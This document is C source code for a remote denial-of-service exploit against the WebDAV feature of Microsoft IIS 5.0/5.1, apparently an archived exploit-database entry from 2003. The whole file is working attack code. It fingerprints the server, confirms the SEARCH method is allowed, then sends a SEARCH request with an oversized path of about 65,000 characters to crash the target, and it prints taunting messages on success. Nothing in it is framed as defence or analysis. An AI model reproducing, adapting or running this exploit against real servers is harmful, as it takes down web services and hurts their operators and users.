/* Microsoft IIS versions 5.0 and 5.1 remote denial of service exploit that makes use of the vulnerability recently published by SPI dynamics Published on 31.05.2003 */ #include #include #include #pragma comment (lib,"ws2_32") void graphitte() {printf("\n********************************** "); printf("\n Webdav MICROSOFT IIS DoS Exploit * \n"); printf("+++++++++++++++++++++++++++++++*\n"); printf(" by Shachank Pandrey *\n"); printf("*************************************\n"); } char *funk(char tobesent[100],char *host) { int s; char got[100]; WSADATA wsaData; struct hostent *yo; struct sockaddr_in heck; char lala[100]; if(WSAStartup(0x0101,&wsaData)!=0) { printf("error starting winsock.."); return 0; } if ((yo = gethostbyname(host))==0){ printf("error: can't resolve '%s'",host); return 0; } heck.sin_port = htons(80); heck.sin_family = AF_INET; heck.sin_addr = *((struct in_addr *)yo->h_addr); if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ printf("Error: Unable to create socket"); } if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){ printf("Error: Cudn't Connect\r\n"); } memset(lala,0,sizeof(lala)); sprintf(lala,"%s",tobesent,sizeof(tobesent)); send(s,lala,strlen(lala),0); recv(s,got,100,0); return got; closesocket(s); WSACleanup(); printf("done.\n"); } int main(int argc, char *argv[]) { WSADATA wsaData; int s;char mysend[100]; char *gotme; char trash[100]; struct hostent *yo; struct sockaddr_in heck; char buffer[65535] =""; char myrequest[80000]; char content[] = "\r\n" "\r\n" "\r\n" "Select \"DAV:displayname\" from scope()\r\n" "\r\n" "\r\n"; graphitte(); if(WSAStartup(0x0101,&wsaData)!=0) { printf("Error :Cudn't initiate winsock!"); return 0; } if(argc<2) {printf("\nUsage : %s \n\n",argv[0]); exit(0);} if ( (yo = gethostbyname(argv[1]))==0) { printf("error: can't resolve '%s'",argv[1]); return 1; } printf("\nChecking web server %s\n",argv[1]); gotme=(char *)funk("GET / HTTP/1.0\r\n\n",argv[1]); if (strstr(gotme,"IIS/5.0") == NULL) { printf("\n\r----> %s is not running IIS 5.0! adios !\n",argv[1]); } else { printf("\n\r----> Aww rite! IIS 5.0 found on %s !\n",argv[1]); sprintf(mysend,"SEARCH / HTTP/1.0\r\n\n",40); gotme=(char *)funk(mysend,argv[1]); if (strstr(gotme,"HTTP/1.1 411 Length Required") != NULL) { printf("\n\r----> METHOD SEARCH ALLOWED\r\n"); } else { printf("\n----> Method SEARCH not Allowed ! adios...\n"); exit(0); } heck.sin_port = htons(80); heck.sin_family = AF_INET; heck.sin_addr = *((struct in_addr *)yo->h_addr); if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ printf("error: can't create socket"); return 1; } if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){ printf("Error:Cudn't Connect\r\n"); return 1; } buffer[sizeof(buffer)]=0x00; memset(buffer,'S',sizeof(buffer)); memset(myrequest,0,sizeof(myrequest)); memset(trash,0,sizeof(trash)); sprintf(myrequest,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\ nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]); sprintf(myrequest,"%s%d\r\n\r\n",myrequest,strlen(content)); printf("\r\nDoSsing the server...\n"); send(s,myrequest,strlen(myrequest),0); send(s,content,strlen(content),0); recv(s,trash,sizeof(trash),0); if(trash[0]==0x00) { printf("Server is DoSsed! Now run !! F-B-eyee is after j00...\r\n"); } else printf("Server is prolly patched.\r\n"); closesocket(s); } WSACleanup(); return 1; } // milw0rm.com [2003-05-31]

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